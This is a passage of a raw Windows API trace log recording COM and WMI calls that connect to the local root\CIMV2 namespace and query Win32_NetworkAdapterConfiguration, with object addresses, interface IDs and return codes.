ppvObject=0x12fe754 | out: ppvObject=0x12fe754*=0x13a4090) returned 0x0 [0206.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4090, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe710 | out: ppvObject=0x12fe710*=0x0) returned 0x80004002 [0206.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4090, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe304 | out: ppvObject=0x12fe304*=0x0) returned 0x80004002 [0206.491] WbemDefPath:IUnknown:AddRef (This=0x13a4090) returned 0x3 [0206.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4090, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe064 | out: ppvObject=0x12fe064*=0x0) returned 0x80004002 [0206.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4090, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe014 | out: ppvObject=0x12fe014*=0x0) returned 0x80004002 [0206.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4090, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe020 | out: ppvObject=0x12fe020*=0x13ec350) returned 0x0 [0206.491] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13ec350, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe028 | out: pCid=0x12fe028) returned 0x0 [0206.491] WbemDefPath:IUnknown:Release (This=0x13ec350) returned 0x3 [0206.491] CoGetContextToken (in: pToken=0x12fe080 | out: pToken=0x12fe080) returned 0x0 [0206.491] CoGetContextToken (in: pToken=0x12fe488 | out: pToken=0x12fe488) returned 0x0 [0206.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4090, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe514 | out: ppvObject=0x12fe514*=0x0) returned 0x80004002 [0206.491] WbemDefPath:IUnknown:Release (This=0x13a4090) returned 0x2 [0206.492] WbemDefPath:IUnknown:Release (This=0x13a4090) returned 0x1 [0206.492] CoGetContextToken (in: pToken=0x12fee28 | out: pToken=0x12fee28) returned 0x0 [0206.492] CoGetContextToken (in: pToken=0x12fed88 | out: pToken=0x12fed88) returned 0x0 [0206.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4090, riid=0x12fee58*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fee54 | out: ppvObject=0x12fee54*=0x13a4090) returned 0x0 [0206.492] WbemDefPath:IUnknown:AddRef (This=0x13a4090) returned 0x3 [0206.492] WbemDefPath:IUnknown:Release (This=0x13a4090) returned 0x2 [0206.492] WbemDefPath:IWbemPath:SetText (This=0x13a4090, uMode=0x4, pszPath="root\\CIMV2") returned 0x0 [0206.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a4090, puCount=0x12fefd8 | out: puCount=0x12fefd8*=0x2) returned 0x0 [0206.492] WbemDefPath:IWbemPath:GetText (in: This=0x13a4090, lFlags=4, puBuffLength=0x12fefd4*=0x0, pszText=0x0 | out: puBuffLength=0x12fefd4*=0xf, pszText=0x0) returned 0x0 [0206.492] WbemDefPath:IWbemPath:GetText (in: This=0x13a4090, lFlags=4, puBuffLength=0x12fefd4*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefd4*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0206.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a4090, puCount=0x12fefc4 | out: puCount=0x12fefc4*=0x2) returned 0x0 [0206.492] WbemDefPath:IWbemPath:GetText (in: This=0x13a4090, lFlags=4, puBuffLength=0x12fefc0*=0x0, pszText=0x0 | out: puBuffLength=0x12fefc0*=0xf, pszText=0x0) returned 0x0 [0206.492] WbemDefPath:IWbemPath:GetText (in: This=0x13a4090, lFlags=4, puBuffLength=0x12fefc0*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefc0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0206.492] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fefb0 | out: ppv=0x12fefb0*=0x135504c) returned 0x0 [0206.492] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fefa8 | out: pAptType=0x12fefa8*=1) returned 0x0 [0206.492] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fefac | out: ppvObject=0x12fefac*=0x0) returned 0x80004002 [0206.492] IUnknown:Release (This=0x135504c) returned 0x1 [0206.493] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe908 | out: ppv=0x12fe908*=0x1382478) returned 0x0 [0206.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x1382478, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12feb24 | out: ppvObject=0x12feb24*=0x0) returned 0x80004002 [0206.493] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1382478, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12feb30 | out: ppvObject=0x12feb30*=0x13a43a0) returned 0x0 [0206.493] WbemDefPath:IUnknown:Release (This=0x1382478) returned 0x0 [0206.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a43a0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe754 | out: ppvObject=0x12fe754*=0x13a43a0) returned 0x0 [0206.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a43a0, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe710 | out: ppvObject=0x12fe710*=0x0) returned 0x80004002 [0206.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a43a0, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe304 | out: ppvObject=0x12fe304*=0x0) returned 0x80004002 [0206.493] WbemDefPath:IUnknown:AddRef (This=0x13a43a0) returned 0x3 [0206.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a43a0, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe064 | out: ppvObject=0x12fe064*=0x0) returned 0x80004002 [0206.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a43a0, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe014 | out: ppvObject=0x12fe014*=0x0) returned 0x80004002 [0206.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a43a0, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe020 | out: ppvObject=0x12fe020*=0x13ec6b0) returned 0x0 [0206.493] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13ec6b0, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe028 | out: pCid=0x12fe028) returned 0x0 [0206.493] WbemDefPath:IUnknown:Release (This=0x13ec6b0) returned 0x3 [0206.493] CoGetContextToken (in: pToken=0x12fe080 | out: pToken=0x12fe080) returned 0x0 [0206.494] CoGetContextToken (in: pToken=0x12fe488 | out: pToken=0x12fe488) returned 0x0 [0206.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a43a0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe514 | out: ppvObject=0x12fe514*=0x0) returned 0x80004002 [0206.494] WbemDefPath:IUnknown:Release (This=0x13a43a0) returned 0x2 [0206.494] WbemDefPath:IUnknown:Release (This=0x13a43a0) returned 0x1 [0206.494] CoGetContextToken (in: pToken=0x12fee28 | out: pToken=0x12fee28) returned 0x0 [0206.494] CoGetContextToken (in: pToken=0x12fed88 | out: pToken=0x12fed88) returned 0x0 [0206.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a43a0, riid=0x12fee58*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fee54 | out: ppvObject=0x12fee54*=0x13a43a0) returned 0x0 [0206.494] WbemDefPath:IUnknown:AddRef (This=0x13a43a0) returned 0x3 [0206.494] WbemDefPath:IUnknown:Release (This=0x13a43a0) returned 0x2 [0206.494] WbemDefPath:IWbemPath:SetText (This=0x13a43a0, uMode=0x4, pszPath="root\\CIMV2") returned 0x0 [0206.494] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a43a0, puCount=0x12fefd8 | out: puCount=0x12fefd8*=0x2) returned 0x0 [0206.494] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fefd4*=0x0, pszText=0x0 | out: puBuffLength=0x12fefd4*=0xf, pszText=0x0) returned 0x0 [0206.494] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fefd4*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefd4*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0206.494] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a43a0, puCount=0x12fefc4 | out: puCount=0x12fefc4*=0x2) returned 0x0 [0206.494] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fefc0*=0x0, pszText=0x0 | out: puBuffLength=0x12fefc0*=0xf, pszText=0x0) returned 0x0 [0206.494] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fefc0*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefc0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0206.494] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fef54 | out: ppv=0x12fef54*=0x135504c) returned 0x0 [0206.494] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fef4c | out: pAptType=0x12fef4c*=1) returned 0x0 [0206.495] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fef50 | out: ppvObject=0x12fef50*=0x0) returned 0x80004002 [0206.495] IUnknown:Release (This=0x135504c) returned 0x1 [0206.496] CoGetClassObject (in: rclsid=0x1394574*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12feb60 | out: ppv=0x12feb60*=0x13eb960) returned 0x0 [0206.496] WbemLocator:IUnknown:QueryInterface (in: This=0x13eb960, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fed7c | out: ppvObject=0x12fed7c*=0x0) returned 0x80004002 [0206.496] WbemLocator:IClassFactory:CreateInstance (in: This=0x13eb960, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed88 | out: ppvObject=0x12fed88*=0x1382488) returned 0x0 [0206.496] WbemLocator:IUnknown:Release (This=0x13eb960) returned 0x0 [0206.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1382488, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe9ac | out: ppvObject=0x12fe9ac*=0x1382488) returned 0x0 [0206.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1382488, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe968 | out: ppvObject=0x12fe968*=0x0) returned 0x80004002 [0206.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1382488, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe55c | out: ppvObject=0x12fe55c*=0x0) returned 0x80004002 [0206.496] WbemLocator:IUnknown:AddRef (This=0x1382488) returned 0x3 [0206.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1382488, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe2bc | out: ppvObject=0x12fe2bc*=0x0) returned 0x80004002 [0206.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1382488, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe26c | out: ppvObject=0x12fe26c*=0x0) returned 0x80004002 [0206.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1382488, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe278 | out: ppvObject=0x12fe278*=0x0) returned 0x80004002 [0206.496] CoGetContextToken (in: pToken=0x12fe2d8 | out: pToken=0x12fe2d8) returned 0x0 [0206.496] CoGetContextToken (in: pToken=0x12fe6e0 | out: pToken=0x12fe6e0) returned 0x0 [0206.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1382488, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe76c | out: ppvObject=0x12fe76c*=0x0) returned 0x80004002 [0206.497] WbemLocator:IUnknown:Release (This=0x1382488) returned 0x2 [0206.497] WbemLocator:IUnknown:Release (This=0x1382488) returned 0x1 [0206.497] CoGetContextToken (in: pToken=0x12fed68 | out: pToken=0x12fed68) returned 0x0 [0206.497] CoGetContextToken (in: pToken=0x12fecc8 | out: pToken=0x12fecc8) returned 0x0 [0206.497] WbemLocator:IUnknown:QueryInterface (in: This=0x1382488, riid=0x12fed98*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fed94 | out: ppvObject=0x12fed94*=0x1382488) returned 0x0 [0206.497] WbemLocator:IUnknown:AddRef (This=0x1382488) returned 0x3 [0206.497] WbemLocator:IUnknown:Release (This=0x1382488) returned 0x2 [0206.497] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a43a0, puCount=0x12fef30 | out: puCount=0x12fef30*=0x2) returned 0x0 [0206.497] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=8, puBuffLength=0x12fef2c*=0x0, pszText=0x0 | out: puBuffLength=0x12fef2c*=0xf, pszText=0x0) returned 0x0 [0206.497] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=8, puBuffLength=0x12fef2c*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef2c*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0206.497] CoCreateInstance (in: rclsid=0x6e5436ac*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6e54370c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x12fede8 | out: ppv=0x12fede8*=0x13824e8) returned 0x0 [0206.497] WbemLocator:IWbemLocator:ConnectServer (in: This=0x13824e8, strNetworkResource="\\\\.\\root\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x12fee7c | out: ppNamespace=0x12fee7c*=0x13ee9b0) returned 0x0 [0206.513] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee9b0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed10 | out: ppvObject=0x12fed10*=0x1396560) returned 0x0 [0206.513] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1396560, pProxy=0x13ee9b0, pAuthnSvc=0x12fed60, pAuthzSvc=0x12fed5c, pServerPrincName=0x12fed54, pAuthnLevel=0x12fed58, pImpLevel=0x12fed48, pAuthInfo=0x12fed4c, pCapabilites=0x12fed50 | out: pAuthnSvc=0x12fed60*=0xa, pAuthzSvc=0x12fed5c*=0x0, pServerPrincName=0x12fed54, pAuthnLevel=0x12fed58*=0x6, pImpLevel=0x12fed48*=0x2, pAuthInfo=0x12fed4c, pCapabilites=0x12fed50*=0x1) returned 0x0 [0206.513] WbemLocator:IUnknown:Release (This=0x1396560) returned 0x1 [0206.513] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee9b0, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed04 | out: ppvObject=0x12fed04*=0x1396584) returned 0x0 [0206.513] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee9b0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fecf0 | out: ppvObject=0x12fecf0*=0x1396560) returned 0x0 [0206.513] WbemLocator:IClientSecurity:SetBlanket (This=0x1396560, pProxy=0x13ee9b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0206.514] WbemLocator:IUnknown:Release (This=0x1396560) returned 0x2 [0206.514] WbemLocator:IUnknown:Release (This=0x1396584) returned 0x1 [0206.514] CoTaskMemFree (pv=0x13d5d90) [0206.514] WbemLocator:IUnknown:AddRef (This=0x13ee9b0) returned 0x2 [0206.514] WbemLocator:IUnknown:Release (This=0x13824e8) returned 0x0 [0206.514] CoGetContextToken (in: pToken=0x12fe230 | out: pToken=0x12fe230) returned 0x0 [0206.514] CoGetContextToken (in: pToken=0x12fe638 | out: pToken=0x12fe638) returned 0x0 [0206.514] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee9b0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5d0 | out: ppvObject=0x12fe5d0*=0x1396568) returned 0x0 [0206.514] WbemLocator:IRpcOptions:Query (in: This=0x1396568, pPrx=0x13eb900, dwProperty=2, pdwValue=0x12fe6d0 | out: pdwValue=0x12fe6d0) returned 0x80004002 [0206.514] WbemLocator:IUnknown:Release (This=0x1396568) returned 0x2 [0206.515] CoGetContextToken (in: pToken=0x12fec10 | out: pToken=0x12fec10) returned 0x0 [0206.515] CoGetContextToken (in: pToken=0x12feb70 | out: pToken=0x12feb70) returned 0x0 [0206.515] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee9b0, riid=0x12fec40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x12feb08 | out: ppvObject=0x12feb08*=0x13ee9b0) returned 0x0 [0206.515] WbemLocator:IUnknown:Release (This=0x13ee9b0) returned 0x2 [0206.515] SysStringLen (param_1=0x0) returned 0x0 [0206.515] CoGetContextToken (in: pToken=0x12fed08 | out: pToken=0x12fed08) returned 0x0 [0206.515] IWbemServices:ExecQuery (in: This=0x13ee9b0, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_NetworkAdapterConfiguration", lFlags=16, pCtx=0x0, ppEnum=0x12fef3c | out: ppEnum=0x12fef3c*=0x13ac5f0) returned 0x0 [0206.520] IUnknown:QueryInterface (in: This=0x13ac5f0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed74 | out: ppvObject=0x12fed74*=0x13ac5f4) returned 0x0 [0206.520] IClientSecurity:QueryBlanket (in: This=0x13ac5f4, pProxy=0x13ac5f0, pAuthnSvc=0x12fedc4, pAuthzSvc=0x12fedc0, pServerPrincName=0x12fedb8, pAuthnLevel=0x12fedbc, pImpLevel=0x12fedac, pAuthInfo=0x12fedb0, pCapabilites=0x12fedb4 | out: pAuthnSvc=0x12fedc4*=0xa, pAuthzSvc=0x12fedc0*=0x0, pServerPrincName=0x12fedb8, pAuthnLevel=0x12fedbc*=0x6, pImpLevel=0x12fedac*=0x2, pAuthInfo=0x12fedb0, pCapabilites=0x12fedb4*=0x1) returned 0x0 [0206.520] IUnknown:Release (This=0x13ac5f4) returned 0x1 [0206.520] IUnknown:QueryInterface (in: This=0x13ac5f0, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed68 | out: ppvObject=0x12fed68*=0x1396284) returned 0x0 [0206.520] IUnknown:QueryInterface (in: This=0x13ac5f0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed54 | out: ppvObject=0x12fed54*=0x13ac5f4) returned 0x0 [0206.520] IClientSecurity:SetBlanket (This=0x13ac5f4, pProxy=0x13ac5f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0206.572] IUnknown:Release (This=0x13ac5f4) returned 0x2 [0206.572] WbemLocator:IUnknown:Release (This=0x1396284) returned 0x1 [0206.572] CoTaskMemFree (pv=0x13d5d90) [0206.572] IUnknown:AddRef (This=0x13ac5f0) returned 0x2 [0206.573] CoGetContextToken (in: pToken=0x12fe290 | out: pToken=0x12fe290) returned 0x0 [0206.573] CoGetContextToken (in: pToken=0x12fe698 | out: pToken=0x12fe698) returned 0x0 [0206.573] IUnknown:QueryInterface (in: This=0x13ac5f0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe630 | out: ppvObject=0x12fe630*=0x1396268) returned 0x0 [0206.573] WbemLocator:IRpcOptions:Query (in: This=0x1396268, pPrx=0x13eb948, dwProperty=2, pdwValue=0x12fe730 | out: pdwValue=0x12fe730) returned 0x80004002 [0206.573] WbemLocator:IUnknown:Release (This=0x1396268) returned 0x2 [0206.573] CoGetContextToken (in: pToken=0x12fec70 | out: pToken=0x12fec70) returned 0x0 [0206.573] CoGetContextToken (in: pToken=0x12febd0 | out: pToken=0x12febd0) returned 0x0 [0206.574] IUnknown:QueryInterface (in: This=0x13ac5f0, riid=0x12feca0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x12feb68 | out: ppvObject=0x12feb68*=0x13ac5f0) returned 0x0 [0206.574] IUnknown:Release (This=0x13ac5f0) returned 0x2 [0206.574] SysStringLen (param_1=0x0) returned 0x0 [0206.574] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a43a0, puCount=0x12fef88 | out: puCount=0x12fef88*=0x2) returned 0x0 [0206.574] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fef84*=0x0, pszText=0x0 | out: puBuffLength=0x12fef84*=0xf, pszText=0x0) returned 0x0 [0206.574] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, 